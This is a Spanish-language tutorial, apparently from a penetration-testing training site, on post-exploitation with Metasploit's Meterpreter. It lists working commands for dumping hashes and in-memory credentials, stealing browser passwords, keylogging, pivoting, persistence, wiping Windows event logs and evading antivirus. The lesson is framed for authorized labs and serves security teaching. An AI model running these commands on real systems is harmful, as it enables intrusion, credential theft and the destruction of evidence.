Meterpreter: la shell avanzada de Metasploit para post-explotación
· 9 min de lectura
Aprende qué es Meterpreter, por qué es más potente que una shell básica (en memoria, cifrado, extensible), los comandos esenciales (pivotar, dumpear credenciales, subir archivos, migrar procesos) y las limitaciones frente a EDR modernos.
Cuando un exploit de Metasploit termina con «session opened», la pregunta inmediata es: ¿qué tipo de sesión? La respuesta más potente es Meterpreter: la shell avanzada que ha hecho famoso al framework. A diferencia de una shell cmd o bash normal, Meterpreter se ejecuta en memoria (no deja binario en disco), cifra la comunicación con el operador y es extensible con decenas de módulos propios para post-explotación.
Un operador que domina Meterpreter puede, en una sola sesión, dumpear hashes de un equipo Windows, subir y bajar archivos, migrar su proceso a otro para sobrevivir al cierre del servicio original, pivotar hacia una red interna que no se ve desde fuera y lanzar scripts automatizados de enumeración. Aprender sus comandos esenciales multiplica la utilidad de cualquier sesión conseguida.
En esta lección vas a ver qué es exactamente Meterpreter, los comandos esenciales organizados por categoría, el flujo típico de post-explotación con ejemplos y las limitaciones frente a entornos modernos con EDR.
Usa Meterpreter solo contra sistemas propios o entornos autorizados, como los laboratorios de whoami-labs. Mantener sesiones remotas en sistemas ajenos sin permiso es un delito grave.
Qué es Meterpreter#
Meterpreter es un payload avanzado de Metasploit implementado como una DLL (en Windows) o un ejecutable minimalista (en Linux) que, una vez ejecutado en la víctima, abre una shell remota con capacidades extendidas. La comunicación con el operador va cifrada (TLS por encima de TCP, HTTP o HTTPS) y las extensiones (stdapi, priv, kiwi, incognito, extapi) se cargan bajo demanda sobre la misma sesión.

Por qué es mejor que una shell normal#
| Característica | Shell normal | Meterpreter |
|---|---|---|
| Dónde se ejecuta | Proceso en el sistema | Dentro del proceso del exploit, puede migrar |
| Comunicación | En claro | Cifrada |
| Permanencia en disco | Depende del exploit | Habitualmente ninguna |
| Comandos disponibles | Los del sistema | Los del sistema + extensiones Meterpreter |
| Migración de proceso | No | Sí (migrate) |
| Transferencia de archivos | A mano con nc/wget | upload y download nativos |
| Elevación de privilegios | A mano | getsystem en Windows |
| Pivoting | Manual | route + portfwd integrados |
Comandos esenciales#
Básicos de la sesión#
# Ver información
sysinfo # OS, arquitectura, usuario
getuid # Usuario actual
getpid # Proceso donde corres
ps # Procesos del sistema
pwd # Directorio actual
ls # Listar
# Control de la sesión
background # Dejar la sesión en segundo plano
sessions -i N # Volver a la sesión N
exit # Cerrar la sesión
help # Ayuda
Archivos#
download C:\Users\maria\Documents\config.xml ./loot/
upload /tmp/mimikatz.exe C:\Temp\
cat C:\Windows\System32\drivers\etc\hosts
search -f *.kdbx -d C:\ # Buscar archivos por patrón
Elevación en Windows#
getsystem # Intentar escalar a SYSTEM con varias técnicas
hashdump # Hashes NTLM de cuentas locales (requiere SYSTEM)
load kiwi # Cargar mimikatz embebido
creds_all # Extraer credenciales en memoria
golden_ticket_create -u maria -s SID_DOMINIO -k HASH_KRBTGT
Pivoting#
# Añadir ruta hacia la red interna detrás de la víctima
run autoroute -s 192.168.100.0/24
# Reenviar un puerto local al interno
portfwd add -l 8080 -p 80 -r 192.168.100.10
autoroute enseña a Metasploit cómo llegar a esa red, de forma que módulos posteriores lanzados desde msfconsole pueden alcanzar IPs internas sin más configuración. Es pivoting integrado, sin necesidad de montar chisel o ligolo (lo que no quita que estas opciones externas sean más silenciosas).
Migración y persistencia#
# Migrar a otro proceso (p.ej. explorer.exe para sobrevivir al cierre del servicio)
migrate 1234
# Migrar automáticamente a un proceso estable
run post/windows/manage/migrate
Shell nativa#
A veces necesitas una shell del sistema dentro de Meterpreter:
shell # Lanza cmd.exe o /bin/sh
Dentro de esa shell, Ctrl+C o exit te devuelve a Meterpreter sin perder la sesión. Es útil para interactuar con binarios que no funcionan bien con el intérprete de comandos de Meterpreter.
Flujo típico de post-explotación#
Supón que acabas de ganar una sesión Meterpreter con un usuario normal en un equipo Windows en un laboratorio autorizado:
Paso 1: reconocimiento#
sysinfo
getuid
ps
Anota el sistema, tu usuario, procesos interesantes (navegador, cliente de correo, servicios).
Paso 2: elevación#
getsystem
Si funciona, ya eres SYSTEM. Si no, toca escalar manualmente (SUID, kernel, etc.).
Paso 3: extracción de credenciales#
load kiwi
creds_all
hashdump
Guardas los hashes y credenciales en memoria: pueden abrir otras cuentas, el dominio o servidores.
Paso 4: enumerar la red#
arp
route
run post/multi/gather/env
Descubres los equipos vecinos. Si hay una red interna, ajustas autoroute.
Paso 5: migrar para persistir brevemente#
run post/windows/manage/migrate
Metasploit elige un proceso estable y migra tu sesión.
Paso 6: dejar la sesión y pivotar#
background
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.0.0/24
run
A través del autoroute, el escaneo llega a la red interna sin salir de msfconsole.
Transporte y evasión#
Meterpreter soporta varios transportes: TCP plano, HTTP, HTTPS. Para pasar firewalls, HTTPS sobre puerto 443 es el más discreto. Se configuran con el sufijo del payload:
windows/x64/meterpreter/reverse_tcp(más común)windows/x64/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_https
Durante una sesión en curso, se puede incluso añadir transportes adicionales con transport add para sobrevivir a filtros temporales.
En cuanto a evasión: el Meterpreter clásico tiene firmas muy conocidas que cualquier EDR moderno detecta al instante. Para entornos reales con protecciones avanzadas se usan payloads personalizados o agentes diseñados para OpSec (Sliver, Mythic, Cobalt Strike para ejercicios autorizados). Para laboratorios y para aprender, Meterpreter funciona perfectamente.
Limitaciones frente a EDR moderno#

Las razones por las que Meterpreter cae frente a un EDR actual:
- Firmas conocidas: su código base lleva años en todos los motores de detección.
- Patrones de red característicos: el tamaño de los paquetes, los intervalos, el handshake.
- Técnicas detectadas:
migrate,getsystem, carga dekiwison operaciones monitorizadas. - Loader típico: las plantillas de msfvenom se detectan sin esfuerzo por su estructura.
Estrategias para prolongar su utilidad en engagements:
- Encoders y combinaciones (
-e x86/shikata_ga_nai -i 10) ayudan contra motores básicos, no contra EDR. - Loaders personalizados que descifran el payload en tiempo de ejecución y lo cargan reflectivamente: más resistentes pero requieren desarrollo.
- Transport HTTPS y jittered sleep: menos detectable por análisis de red.
- Reglas AMSI bypass: útiles contra defensas de scripting, no contra EDR integrales.
Para entornos corporativos modernos lo práctico suele ser sustituir Meterpreter por un agente diseñado para operar bajo EDR. Sliver (open source) es la referencia gratuita; Cobalt Strike y Mythic son las comerciales.
Scripts y módulos post#
Metasploit incluye cientos de módulos post-explotación que automatizan tareas repetitivas desde una sesión Meterpreter. Se ejecutan con run post/<ruta> o lanzándolos como módulo normal con use post/..., set SESSION N, run. Algunos muy útiles:
# Enumerar programas instalados
run post/windows/gather/enum_applications
# Credenciales guardadas en navegadores
run post/multi/gather/firefox_creds
run post/windows/gather/credentials/chrome
# Hashes y secretos LSA
run post/windows/gather/hashdump
run post/windows/gather/lsa_secrets
# Información de dominio
run post/windows/gather/enum_domain
# Screenshot y keylogger
run post/windows/manage/screenshare
keyscan_start
keyscan_dump
keyscan_stop
# Checar si hay antivirus/EDR
run post/windows/gather/enum_av_excluded
Estos módulos son útiles para no tener que recordar cada comando manual: en una sola línea sacan información que, a pelo, llevaría una docena de pasos. En un laboratorio sirven para aprender qué información queda al alcance en cada escenario.
Manejar varias sesiones#
En auditorías con pivoting o en entornos con varios equipos abiertos a la vez, es normal acumular varias sesiones Meterpreter. Los comandos para moverse entre ellas, desde msfconsole:
sessions -l # Listar todas las sesiones activas
sessions -i 3 # Interactuar con la sesión 3
sessions -c "sysinfo" # Ejecutar un comando en todas las sesiones
sessions -K # Cerrar todas las sesiones (cuidado)
sessions -u 2 # Actualizar una shell básica a Meterpreter
El último es especialmente útil: si un exploit solo devolvió una shell normal (sin Meterpreter), sessions -u <id> intenta subirla a Meterpreter aprovechando el acceso ya conseguido. No siempre funciona, pero cuando lo hace ahorra tener que relanzar el exploit con otro payload.
Buenas prácticas#
- Logging: ejecuta
spool /ruta/log.txtantes de empezar a trabajar para que quede todo registrado. Básico para el informe final. - Workspaces:
workspace -a <nombre>separa cada objetivo; las credenciales y el loot no se mezclan entre clientes. - No cerrar sesiones por accidente:
backgrounddeja la sesión viva;exitla cierra. Si solo quieres volver a msfconsole, usabackground. - Comprobar persistencia solo si está autorizado:
run persistencemodifica el sistema (claves de registro, servicios); en una auditoría no autorizada para persistencia es intrusivo y ruidoso. - Limpiar al terminar:
clearevborra los logs de Windows (útil en red team, prohibido en pentests normales); en auditorías legítimas documenta lo que hiciste, no borres evidencia. - No subir mimikatz al disco a lo loco:
load kiwiejecuta en memoria; subir el binario es una firma trivial para el antivirus.
Errores comunes#
- No migrar tras el exploit. Si el proceso original muere, pierdes la sesión.
- Usar
getsystemcomo si siempre funcionara. Falla a menudo; hay que saber alternativas. - Dumpear hashes sin SYSTEM.
hashdumpnecesita elevación. - Olvidar el transporte HTTPS en entornos filtrados. TCP plano al 4444 sale por pocos firewalls.
- Esperar que Meterpreter pase un EDR. No lo hará en 2026; cambia de agente para esos casos.
Preguntas frecuentes#
¿Meterpreter deja rastro en el disco?#
En la mayoría de casos no: la DLL se carga en memoria del proceso del exploit. Si migras o usas persistencia, sí puede dejar archivos; depende del flujo elegido.
¿Qué significa «staged» en Meterpreter?#
Que el payload se entrega en dos pasos: un stager pequeño descarga el resto desde el handler. reverse_tcp (con _) es staged; reverse_tcp como windows/meterpreter_reverse_tcp (sin _ en esa parte) no lo es. En redes buenas, los staged ocupan menos espacio inicial.
¿Puedo tener Meterpreter en Linux?#
Sí, hay payloads para Linux (linux/x64/meterpreter/reverse_tcp). Sus capacidades son menos ricas que en Windows (parte de lo bueno es kiwi para mimikatz), pero sirven para post-explotación básica.
¿Meterpreter vs Sliver?#
Sliver está diseñado desde cero para OpSec moderna: menos firmas, transportes más discretos, loaders sofisticados. Meterpreter es más pedagógico y cubre entornos antiguos; Sliver es la elección para ejercicios realistas frente a EDR.
¿Dónde practico?#
En los laboratorios para principiantes enlazados al final de esta lección, que entregan sesiones Meterpreter sobre las que practicar los comandos esenciales.
¿Cómo persiste Meterpreter tras reiniciar el equipo?#
Por sí solo no persiste: cuando la máquina se apaga, la sesión muere. Para mantener acceso tras reinicio hay que ejecutar un módulo de persistencia (run persistence, exploit/windows/local/persistence_service, tareas programadas, claves Run del registro). Son modificaciones intrusivas y detectables; en cualquier auditoría se usan solo con autorización explícita y documentación detallada. En laboratorios sirven para entender el concepto; en producción real, un agente moderno (Sliver) tiene mecanismos de persistencia menos ruidosos y más opsec-safe que los de Metasploit, que ya están muy detectados.
Resumen#
- Meterpreter es el payload avanzado de Metasploit: en memoria, cifrado y extensible.
- Sus comandos cubren archivos, elevación, extracción de credenciales, pivoting, migración y shell nativa.
- El flujo típico tras recibirlo: sysinfo, getuid, getsystem, dumpear credenciales, migrar, pivotar.
- Soporta transportes TCP/HTTP/HTTPS; HTTPS es el más discreto.
- Frente a EDR moderno es detectable; en esos entornos se sustituye por agentes como Sliver, Mythic o Cobalt Strike.